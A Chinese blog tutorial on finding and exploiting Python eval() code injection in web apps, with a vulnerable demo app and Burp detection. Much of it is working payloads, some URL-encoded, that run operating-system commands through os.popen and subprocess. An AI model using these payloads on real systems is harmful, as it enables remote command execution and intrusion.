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利用Python代码实现Web应用的注入

2016-11-14

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。

漏洞概述

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。

因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:

1. CWE-94:代码生成控制不当(‘代码注入’)

2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)

漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))

那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))

实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))

其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29

param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29

param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29

param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29

接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:

git clone https://github.com/sethsec/PyCodeInjection.git

cd VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

1. Web应用接受用户输入(例如GET/POST参数,cookie值);

2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);

下图所示的是一份包含漏洞的示例代码:

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大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。

不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:

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下图显示的是Burp在扫描这个漏洞时所使用的Payload:

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我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景:

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commas

str("-"*50),__import__('os').popen('COMMAND').read()

如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))

eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))

#Examples with multiple statements, separated by semicolons

eval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))

eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))

在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))

eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))

eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))

如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:

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请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。

如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。

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漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。

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